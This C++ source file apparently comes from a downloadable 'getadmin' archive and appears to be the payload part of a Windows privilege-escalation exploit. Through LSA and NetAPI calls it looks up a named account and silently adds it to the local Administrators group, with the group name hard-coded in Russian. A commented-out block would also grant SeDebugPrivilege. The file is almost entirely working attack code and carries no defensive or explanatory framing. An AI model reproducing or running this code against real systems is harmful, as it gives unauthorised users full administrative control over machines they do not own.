www.pudn.com > getadmin.zip > LsaEnj.cpp


 
#ifndef UNICODE 
#define UNICODE 
#endif // UNICODE 
  
#include  
  
#include "ntsecapi.h" 
#include  
 
 
 
void LogA(LPSTR strA); 
 
void LogW(LPTSTR strW) 
{ 
	char strA[256]; 
	wcstombs(strA,strW,wcslen(strW)); 
	LogA(strA); 
} 
 
 
  
NTSTATUS 
OpenPolicy( 
    LPWSTR ServerName,          // machine to open policy on (Unicode) 
    DWORD DesiredAccess,        // desired access to policy 
    PLSA_HANDLE PolicyHandle    // resultant policy handle 
    ); 
  
BOOL 
GetAccountSid( 
    LPTSTR SystemName,          // where to lookup account 
    LPTSTR AccountName,         // account of interest 
    PSID *Sid                   // resultant buffer containing SID 
    ); 
  
NTSTATUS 
SetPrivilegeOnAccount( 
    LSA_HANDLE PolicyHandle,    // open policy handle 
    PSID AccountSid,            // SID to grant privilege to 
    LPWSTR PrivilegeName,       // privilege to grant (Unicode) 
    BOOL bEnable                // enable or disable 
    ); 
  
void 
InitLsaString( 
    PLSA_UNICODE_STRING LsaString, // destination 
    LPWSTR String                  // source (Unicode) 
    ); 
  
void 
DisplayNtStatus( 
    LPSTR szAPI,                // pointer to function name (ANSI) 
    NTSTATUS Status             // NTSTATUS error value 
    ); 
  
void 
DisplayWinError( 
    LPSTR szAPI,                // pointer to function name (ANSI) 
    DWORD WinError              // DWORD WinError 
    ); 
 
 
  
#define RTN_OK 0 
#define RTN_USAGE 1 
#define RTN_ERROR 13 
  
// 
// If you have the ddk, include ntstatus.h. 
// 
#ifndef STATUS_SUCCESS 
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L) 
#endif 
  
 
int ChangeUserRights(char* Account) 
{ 
    LSA_HANDLE PolicyHandle; 
    WCHAR wComputerName[200]=L""; 
    WCHAR wGroupName[200]=L"Администраторы";//L"Administrators";    
 
	WCHAR szAccountName[200]; 
	WCHAR szProcessAccountName[200]; 
	DWORD dwAccountSize = 200; 
	LONG lAccountSize = 200; 
	SID administrators; 
	SID_IDENTIFIER_AUTHORITY  IdentifierAuthority= SECURITY_NT_AUTHORITY; 
    DWORD		cbName = sizeof(wGroupName); 
	WCHAR 	ReferencedDomainName[255]; 
	DWORD 	cbReferencedDomainName = 255;  
	SID_NAME_USE eUse; 
 
 
    PSID pSid; 
    NTSTATUS Status; 
    int iRetVal=RTN_ERROR;           
 
	administrators.IdentifierAuthority = IdentifierAuthority; 
	administrators.SubAuthority[0] = SECURITY_BUILTIN_DOMAIN_RID; 
	administrators.SubAuthority[1] = DOMAIN_GROUP_RID_ADMINS; 
	administrators.Revision = 1; 
 
  
 
	 
	mbstowcs(szAccountName,Account,strlen(Account)); 
	 
	LogA("\nChangeUserRight Begin"); 
 
 
	 
	GetUserName(szProcessAccountName,&dwAccountSize); 
	LogA("\nProcess Account: "); 
	LogW(szProcessAccountName); 
 
 
 
	if(!wcslen(szAccountName)){ 
		LogA("\nNo account"); 
		return 0; 
	} 
 
	LogA("\nUserName:"); 
	LogW(szAccountName); 
	LogA("\n"); 
	 
 
         
    // 
    // Open the policy on the target machine. 
    // 
    if((Status=OpenPolicy( 
                wComputerName,      // target machine 
                POLICY_ALL_ACCESS, // 
                &PolicyHandle       // resultant policy handle 
                )) != STATUS_SUCCESS) { 
        DisplayNtStatus("OpenPolicy", Status); 
        return RTN_ERROR; 
    } 
  
	 
    // 
    // Obtain the SID of the user/group. 
    // Note that we could target a specific machine, but we don't. 
    // Specifying NULL for target machine searches for the SID in the 
    // following order: well-known, Built-in and local, primary domain, 
    // trusted domains. 
    // 
    if(GetAccountSid( 
            NULL,       // default lookup logic 
            szAccountName,// account to obtain SID 
            &pSid       // buffer to allocate to contain resultant SID 
            )) { 
        // 
        // We only grant the privilege if we succeeded in obtaining the 
        // SID. We can actually add SIDs which cannot be looked up, but 
        // looking up the SID is a good sanity check which is suitable for 
        // most cases. 
  
        //SE_SHUTDOWN_NAME 
 
        // Grant the SeServiceLogonRight to users represented by pSid. 
        // 
		/* 
        if((Status=SetPrivilegeOnAccount( 
                    PolicyHandle,           // policy handle 
                    pSid,                   // SID to grant privilege 
                    L"SeDebugPrivilege", // Unicode privilege 
                    TRUE                    // enable the privilege 
                    )) == STATUS_SUCCESS) 
            iRetVal=RTN_OK; 
        else 
            DisplayNtStatus("AddUserRightToAccount", Status); 
			*/ 
    } 
    else { 
        // 
        // Error obtaining SID. 
        // 
        DisplayWinError("GetAccountSid", GetLastError()); 
    } 
 
 
 
	if(!LookupAccountSid(  
		0,  
		&administrators,  
		wGroupName,  
		&cbName,  
		ReferencedDomainName,  
		&cbReferencedDomainName,  
		&eUse  
	)) LogA("LookupAccountSid failed\n"); 
 
	NetLocalGroupAddMember(0,wGroupName,pSid); 
 
  
    // 
    // Close the policy handle. 
    // 
    LsaClose(PolicyHandle); 
  
    // 
    // Free memory allocated for SID. 
    // 
    if(pSid != NULL) HeapFree(GetProcessHeap(), 0, pSid); 
  
    
    return iRetVal; 
} 
  
void 
InitLsaString( 
    PLSA_UNICODE_STRING LsaString, 
    LPWSTR String 
    ) 
{ 
    DWORD StringLength; 
  
    if (String == NULL) { 
        LsaString->Buffer = NULL; 
        LsaString->Length = 0; 
        LsaString->MaximumLength = 0; 
        return; 
    } 
  
    StringLength = wcslen(String); 
    LsaString->Buffer = String; 
    LsaString->Length = (USHORT) StringLength * sizeof(WCHAR); 
    LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR); 
} 
  
NTSTATUS 
OpenPolicy( 
    LPWSTR ServerName, 
    DWORD DesiredAccess, 
    PLSA_HANDLE PolicyHandle 
    ) 
{ 
    LSA_OBJECT_ATTRIBUTES ObjectAttributes; 
    LSA_UNICODE_STRING ServerString; 
    PLSA_UNICODE_STRING Server = NULL; 
  
    // 
    // Always initialize the object attributes to all zeroes. 
    // 
    ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes)); 
  
    if (ServerName != NULL) { 
        // 
        // Make a LSA_UNICODE_STRING out of the LPWSTR passed in 
        // 
        InitLsaString(&ServerString, ServerName); 
        Server = &ServerString; 
    } 
  
    // 
    // Attempt to open the policy. 
    // 
    return LsaOpenPolicy( 
                Server, 
                &ObjectAttributes, 
                DesiredAccess, 
                PolicyHandle 
                ); 
} 
  
  
BOOL 
GetAccountSid( 
    LPTSTR SystemName, 
    LPTSTR AccountName, 
    PSID *Sid 
    ) 
{ 
    LPTSTR ReferencedDomain=NULL; 
    DWORD cbSid=128;    // initial allocation attempt 
    DWORD cbReferencedDomain=16; // initial allocation size 
    SID_NAME_USE peUse; 
    BOOL bSuccess=FALSE; // assume this function will fail 
  
    __try { 
  
    // 
    // initial memory allocations 
    // 
    if((*Sid=HeapAlloc( 
                    GetProcessHeap(), 
                    0, 
                    cbSid 
                    )) == NULL) __leave; 
  
    if((ReferencedDomain=(LPTSTR)HeapAlloc( 
                    GetProcessHeap(), 
                    0, 
                    cbReferencedDomain 
                    )) == NULL) __leave; 
  
    // 
    // Obtain the SID of the specified account on the specified system. 
    // 
    while(!LookupAccountName( 
                    SystemName,         // machine to lookup account on 
                    AccountName,        // account to lookup 
                    *Sid,               // SID of interest 
                    &cbSid,             // size of SID 
                    ReferencedDomain,   // domain account was found on 
                    &cbReferencedDomain, 
                    &peUse 
                    )) { 
        if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { 
            // 
            // reallocate memory 
            // 
            if((*Sid=HeapReAlloc( 
                        GetProcessHeap(), 
                        0, 
                        *Sid, 
                        cbSid 
                        )) == NULL) __leave; 
  
            if((ReferencedDomain=(LPTSTR)HeapReAlloc( 
                        GetProcessHeap(), 
                        0, 
                        ReferencedDomain, 
                        cbReferencedDomain 
                        )) == NULL) __leave; 
        } 
        else __leave; 
    } 
  
    // 
    // Indicate success. 
    // 
    bSuccess=TRUE; 
  
    } // finally 
    __finally { 
  
    // 
    // Cleanup and indicate failure, if appropriate. 
    // 
  
    HeapFree(GetProcessHeap(), 0, ReferencedDomain); 
  
    if(!bSuccess) { 
        if(*Sid != NULL) { 
            HeapFree(GetProcessHeap(), 0, *Sid); 
            *Sid = NULL; 
        } 
    } 
  
    } // finally 
  
    return bSuccess; 
} 
  
NTSTATUS 
SetPrivilegeOnAccount( 
    LSA_HANDLE PolicyHandle,    // open policy handle 
    PSID AccountSid,            // SID to grant privilege to 
    LPWSTR PrivilegeName,       // privilege to grant (Unicode) 
    BOOL bEnable                // enable or disable 
    ) 
{ 
    LSA_UNICODE_STRING PrivilegeString; 
  
    // 
    // Create a LSA_UNICODE_STRING for the privilege name. 
    // 
    InitLsaString(&PrivilegeString, PrivilegeName); 
  
    // 
    // grant or revoke the privilege, accordingly 
    // 
    if(bEnable) { 
        return LsaAddAccountRights( 
                PolicyHandle,       // open policy handle 
                AccountSid,         // target SID 
                &PrivilegeString,   // privileges 
                1                   // privilege count 
                ); 
    } 
    else { 
        return LsaRemoveAccountRights( 
                PolicyHandle,       // open policy handle 
                AccountSid,         // target SID 
                FALSE,              // do not disable all rights 
                &PrivilegeString,   // privileges 
                1                   // privilege count 
                ); 
    } 
} 
  
void 
DisplayNtStatus( 
    LPSTR szAPI, 
    NTSTATUS Status 
    ) 
{ 
    // 
    // Convert the NTSTATUS to Winerror. Then call DisplayWinError(). 
    // 
    DisplayWinError(szAPI, LsaNtStatusToWinError(Status)); 
} 
  
void 
DisplayWinError( 
    LPSTR szAPI, 
    DWORD WinError 
    ) 
{ 
    LPSTR MessageBuffer; 
    DWORD dwBufferLength; 
 
  
    if(dwBufferLength=FormatMessageA( 
                        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
                        FORMAT_MESSAGE_FROM_SYSTEM, 
                        NULL, 
                        WinError, 
                        GetUserDefaultLangID(), 
                        (LPSTR) &MessageBuffer, 
                        0, 
                        NULL 
                        )) 
    { 
  
 
        // 
        // Output message string on stderr. 
        // 
		/* 
        WriteFile( 
            GetStdHandle(STD_ERROR_HANDLE), 
            MessageBuffer, 
            dwBufferLength, 
            &dwBytesWritten, 
            NULL 
            ); 
		*/ 
		MessageBuffer[dwBufferLength] =0; 
		LogA(MessageBuffer); 
  
        // 
        // Free the buffer allocated by the system. 
        // 
        LocalFree(MessageBuffer); 
    } 
 
}